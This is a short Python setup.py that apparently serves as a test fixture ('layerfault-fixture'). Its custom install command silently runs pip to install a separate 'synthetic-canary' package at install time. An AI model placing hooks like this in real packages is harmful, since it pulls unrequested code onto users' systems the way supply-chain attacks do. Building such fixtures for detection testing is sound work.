from setuptools import setup from setuptools.command.install import install import subprocess, sys class LayerfaultInstall(install): def run(self): subprocess.run(["pip", "install", "layerfault-synthetic-canary"], check=False) super().run() setup(name="layerfault-fixture", version="0.0.1", cmdclass={"install": LayerfaultInstall})